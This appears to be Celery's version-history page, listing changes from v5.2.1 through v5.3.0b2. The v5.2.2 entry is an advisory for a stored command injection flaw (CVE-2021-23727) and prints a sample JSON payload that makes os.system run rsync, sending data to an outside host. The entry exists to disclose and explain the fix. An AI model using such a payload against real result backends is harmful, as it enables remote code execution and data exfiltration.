Celery Versions Save

Distributed Task Queue (development branch)

v5.3.0b2

1 year ago

Release date: 2023-02-19 1:47 P.M GMT+2

Release by: Asif Saif Uddin

BLM-2: Adding unit tests to chord clone by @Nusnus in #7668
Fix unknown task error typo by @dcecile in #7675
rename redis integration test class so that tests are executed by @wochinge in #7684
Check certificate/private key type when loading them by @qrmt in #7680
Added integration test_chord_header_id_duplicated_on_rabbitmq_msg_duplication() by @Nusnus in #7692
New feature flag: allow_error_cb_on_chord_header - allowing setting an error callback on chord header by @Nusnus in #7712
Update README.rst sorting Python/Celery versions by @andrebr in #7714
Fixed a bug where stamping a chord body would not use the correct stamping method by @Nusnus in #7722
Fixed doc duplication typo for Signature.stamp() by @Nusnus in #7725
Fix issue 7726: variable used in finally block may not be instantiated by @woutdenolf in #7727
Fixed bug in chord stamping with another chord as a body + unit test by @Nusnus in #7730
Use "describe_table" not "create_table" to check for existence of DynamoDB table by @maxfirman in #7734
Enhancements for task_allow_error_cb_on_chord_header tests and docs by @Nusnus in #7744
Improved custom stamping visitor documentation by @Nusnus in #7745
Improved the coverage of test_chord_stamping_body_chord() by @Nusnus in #7748
billiard >= 3.6.3.0,<5.0 for rpm by @auvipy in #7764
Fixed memory leak with ETA tasks at connection error when worker_cancel_long_running_tasks_on_connection_loss is enabled by @Nusnus in #7771
Fixed bug where a chord with header of type tuple was not supported in the link_error flow for task_allow_error_cb_on_chord_header flag by @Nusnus in #7772
Scheduled weekly dependency update for week 38 by @pyup-bot in #7767
recreate_module: set spec to the new module by @skshetry in #7773
Override integration test config using integration-tests-config.json by @thedrow in #7778
Fixed error handling bugs due to upgrade to a newer version of billiard by @Nusnus in #7781
Do not recommend using easy_install anymore by @jugmac00 in #7789
GitHub Workflows security hardening by @sashashura in #7768
Update ambiguous acks_late doc by @Zhong-z in #7728
billiard >=4.0.2,<5.0 by @auvipy in #7720
importlib_metadata remove deprecated entry point interfaces by @woutdenolf in #7785
Scheduled weekly dependency update for week 41 by @pyup-bot in #7798
pyzmq>=22.3.0 by @auvipy in #7497
Remove amqp from the BACKEND_ALISES list by @Kludex in #7805
Replace print by logger.debug by @Kludex in #7809
Ignore coverage on except ImportError by @Kludex in #7812
Add mongodb dependencies to test.txt by @Kludex in #7810
Fix grammar typos on the whole project by @Kludex in #7815
Remove isatty wrapper function by @Kludex in #7814
Remove unused variable _range by @Kludex in #7813
Add type annotation on concurrency/threads.py by @Kludex in #7808
Fix linter workflow by @Kludex in #7816
Scheduled weekly dependency update for week 42 by @pyup-bot in #7821
Remove .cookiecutterrc by @Kludex in #7830
Remove .coveragerc file by @Kludex in #7826
kombu>=5.3.0b2 by @auvipy in #7834
Fix readthedocs build failure by @woutdenolf in #7835
Fixed bug in group, chord, chain stamp() method, where the visitor overrides the previously stamps in tasks of these objects by @Nusnus in #7825
Stabilized test_mutable_errback_called_by_chord_from_group_fail_multiple by @Nusnus in #7837
Use SPDX license expression in project metadata by @RazerM in #7845
New control command revoke_by_stamped_headers by @Nusnus in #7838
Clarify wording in Redis priority docs by @strugee in #7853
Fix non working example of using celery_worker pytest fixture by @paradox-lab in #7857
Removed the mandatory requirement to include stamped_headers key when implementing on_signature() by @Nusnus in #7856
Update serializer docs by @sondrelg in #7858
Remove reference to old Python version by @Kludex in #7829
Added on_replace() to Task to allow manipulating the replaced sig with custom changes at the end of the task.replace() by @Nusnus in #7860
Add clarifying information to completed_count documentation by @hankehly in #7873
Stabilized test_revoked_by_headers_complex_canvas by @Nusnus in #7877
StampingVisitor will visit the callbacks and errbacks of the signature by @Nusnus in #7867
Fix "rm: no operand" error in clean-pyc script by @hankehly in #7878
Add --skip-checks flag to bypass django core checks by @mudetz in #7859
Scheduled weekly dependency update for week 44 by @pyup-bot in #7868
Added two new unit tests to callback stamping by @Nusnus in #7882
Sphinx extension: use inspect.signature to make it Python 3.11 compatible by @mathiasertl in #7879
cryptography==38.0.3 by @auvipy in #7886
Canvas.py doc enhancement by @Nusnus in #7889
Fix typo by @sondrelg in #7890
fix typos in optional tests by @hsk17 in #7876
Canvas.py doc enhancement by @Nusnus in #7891
Fix revoke by headers tests stability by @Nusnus in #7892
feat: add global keyprefix for backend result keys by @kaustavb12 in #7620
Canvas.py doc enhancement by @Nusnus in #7897
fix(sec): upgrade sqlalchemy to 1.2.18 by @chncaption in #7899
Canvas.py doc enhancement by @Nusnus in #7902
Fix test warnings by @ShaheedHaque in #7906
Support for out-of-tree worker pool implementations by @ShaheedHaque in #7880
Canvas.py doc enhancement by @Nusnus in #7907
Use bound task in base task example. Closes #7909 by @WilliamDEdwards in #7910
Allow the stamping visitor itself to set the stamp value type instead of casting it to a list by @Nusnus in #7914
Stamping a task left the task properties dirty by @Nusnus in #7916
Fixed bug when chaining a chord with a group by @Nusnus in #7919
Fixed bug in the stamping visitor mechanism where the request was lacking the stamps in the 'stamps' property by @Nusnus in #7928
Fixed bug in task_accepted() where the request was not added to the requests but only to the active_requests by @Nusnus in #7929
Fix bug in TraceInfo._log_error() where the real exception obj was hiding behind 'ExceptionWithTraceback' by @Nusnus in #7930
Added integration test: test_all_tasks_of_canvas_are_stamped() by @Nusnus in #7931
Added new example for the stamping mechanism: examples/stamping by @Nusnus in #7933
Fixed a bug where replacing a stamped task and stamping it again by @Nusnus in #7934
Bugfix for nested group stamping on task replace by @Nusnus in #7935
Added integration test test_stamping_example_canvas() by @Nusnus in #7937
Fixed a bug in losing chain links when unchaining an inner chain with links by @Nusnus in #7938
Removing as not mandatory by @auvipy in #7885
Housekeeping for Canvas.py by @Nusnus in #7942
Scheduled weekly dependency update for week 50 by @pyup-bot in #7954
try pypy 3.9 in CI by @auvipy in #7956
sqlalchemy==1.4.45 by @auvipy in #7943
billiard>=4.1.0,<5.0 by @auvipy in #7957
feat(typecheck): allow changing type check behavior on the app level; by @moaddib666 in #7952
Add broker_channel_error_retry option by @nkns165 in #7951
Add beat_cron_starting_deadline_seconds to prevent unwanted cron runs by @abs25 in #7945
Scheduled weekly dependency update for week 51 by @pyup-bot in #7965
Added doc to "retry_errors" newly supported field of "publish_retry_policy" of the task namespace by @Nusnus in #7967
Renamed from master to main in the docs and the CI workflows by @Nusnus in #7968
Fix docs for the exchange to use with worker_direct by @alessio-b2c2 in #7973
Pin redis==4.3.4 by @auvipy in #7974
return list of nodes to make sphinx extension compatible with Sphinx 6.0 by @mathiasertl in #7978
use version range redis>=4.2.2,<4.4.0 by @auvipy in #7980
Scheduled weekly dependency update for week 01 by @pyup-bot in #7987
Add annotations to minimise differences with celery-aio-pool's tracer.py. by @ShaheedHaque in #7925
Fixed bug where linking a stamped task did not add the stamp to the link's options by @Nusnus in #7992
sqlalchemy==1.4.46 by @auvipy in #7995
pytz by @auvipy in #8002
Fix few typos, provide configuration + workflow for codespell to catch any new by @yarikoptic in #8023
RabbitMQ links update by @arnisjuraga in #8031
Ignore files generated by tests by @Kludex in #7846
Revert "sqlalchemy==1.4.46 (#7995)" by @Nusnus in #8033
Fixed bug with replacing a stamped task with a chain or a group (inc. links/errlinks) by @Nusnus in #8034
Fixed formatting in setup.cfg that caused flake8 to misbehave by @Nusnus in #8044
Removed duplicated import Iterable by @Nusnus in #8046
Fix docs by @Nusnus in #8047
Document --logfile default by @strugee in #8057
Stamping Mechanism Refactoring by @Nusnus in #8045
result_backend_thread_safe config shares backend across threads by @CharlieTruong in #8058
Fix cronjob that use day of month and negative UTC timezone by @pkyosx in #8053
Stamping Mechanism Examples Refactoring by @Nusnus in #8060
Fixed bug in Task.on_stamp_replaced() by @Nusnus in #8061
Stamping Mechanism Refactoring 2 by @Nusnus in #8064
Changed default append_stamps from True to False (meaning duplicates ... by @Nusnus in #8068
typo in comment: mailicious => malicious by @yanick in #8072
Fix command for starting flower with specified broker URL by @ShukantPal in #8071
Improve documentation on ETA/countdown tasks (#8069) by @norbertcyran in #8075

v5.3.0b1

1 year ago

Release date: 2022-08-01 5:15 P.M UTC+6:00

Release by: Asif Saif Uddin

Canvas Header Stamping (#7384).
async chords should pass it's kwargs to the group/body.
beat: Suppress banner output with the quiet option (#7608).
Fix honor Django's TIME_ZONE setting.
Don't warn about DEBUG=True for Django.
Fixed the on_after_finalize cannot access tasks due to deadlock.
Bump kombu>=5.3.0b1,<6.0.
Make default worker state limits configurable (#7609).
Only clear the cache if there are no active writers.
Billiard 4.0.1

v5.3.0a1

1 year ago

Release date: 2022-06-29 5:15 P.M UTC+6:00

Release by: Asif Saif Uddin

Remove Python 3.4 compatibility code.
call ping to set connection attr for avoiding redis parse_response error.
Use importlib instead of deprecated pkg_resources.
fix #7245 uid duplicated in command params.
Fix subscribed_to maybe empty (#7232).
Fix: Celery beat sleeps 300 seconds sometimes even when it should run a task within a few seconds (e.g. 13 seconds) #7290.
Add security_key_password option (#7292).
Limit elasticsearch support to below version 8.0.
try new major release of pytest 7 (#7330).
broker_connection_retry should no longer apply on startup (#7300).
Remove __ne__ methods (#7257).
fix #7200 uid and gid.
Remove exception-throwing from the signal handler.
Add mypy to the pipeline (#7383).
Expose more debugging information when receiving unknown tasks. (#7405)
Avoid importing buf_t from billiard's compat module as it was removed.
Avoid negating a constant in a loop. (#7443)
Ensure expiration is of float type when migrating tasks (#7385).
load_extension_class_names - correct module_name (#7406)
Bump pymongo[srv]>=4.0.2.
Use inspect.getgeneratorstate in asynpool.gen_not_started (#7476).
Fix test with missing .get() (#7479).
azure-storage-blob>=12.11.0
Make start_worker, setup_default_app reusable outside of pytest.
Ensure a proper error message is raised when id for key is empty (#7447).
Crontab string representation does not match UNIX crontab expression.
Worker should exit with ctx.exit to get the right exitcode for non-zero.
Fix expiration check (#7552).
Use callable built-in.
Include dont_autoretry_for option in tasks. (#7556)
fix: Syntax error in arango query.
Fix custom headers propagation on task retries (#7555).
Silence backend warning when eager results are stored.
Reduce prefetch count on restart and gradually restore it (#7350).
Improve workflow primitive subclassing (#7593).
test kombu>=5.3.0a1,<6.0 (#7598).
Canvas Header Stamping (#7384).

v5.2.7

1 year ago

Release date: 2022-5-26 12:15 P.M UTC+2:00

Release by: Omer Katz

Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery (#7534).

v5.2.6

2 years ago

Release date: 2022-4-04 21:15 P.M UTC+2:00

Release by: Omer Katz

load_extension_class_names - correct module_name (#7433).

:   This fixes a regression caused by #7218.

v5.2.5

2 years ago

Release date: 2022-4-03 20:42 P.M UTC+2:00

Release by: Omer Katz

This release was yanked due to a regression caused by the PR below

Use importlib instead of deprecated pkg_resources (#7218).

v5.2.4

2 years ago

Release date: 2022-4-03 20:30 P.M UTC+2:00

Release by: Omer Katz

Expose more debugging information when receiving unknown tasks (#7404).

v5.2.3

2 years ago

Release date: 2021-12-29 12:00 P.M UTC+6:00

Release by: Asif Saif Uddin

Allow redis >= 4.0.2.
Upgrade minimum required pymongo version to 3.11.1.
tested pypy3.8 beta (#6998).
Split Signature.__or__ into subclasses' __or__ (#7135).
Prevent duplication in event loop on Consumer restart.
Restrict setuptools>=59.1.1,<59.7.0.
Kombu bumped to v5.2.3
py-amqp bumped to v5.0.9
Some docs & CI improvements.

v5.2.2

2 years ago

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:
```
{
      "exc_module": "os",
      'exc_type': "system",
      "exc_message": "rsync /data [email protected]:~/data"
}
```
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

v5.2.1

2 years ago

Release date: 2021-11-16 8.55 P.M UTC+6:00

Release by: Asif Saif Uddin

Fix rstrip usage on bytes instance in ProxyLogger.
Pass logfile to ExecStop in celery.service example systemd file.
fix: reduce latency of AsyncResult.get under gevent (#7052)
Limit redis version: <4.0.0.
Bump min kombu version to 5.2.2.
Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
Remove dependency to case (#7077).
fix: task expiration is timezone aware if needed (#7065).
Initial testing of pypy-3.8 beta to CI.
Docs, CI & tests cleanups.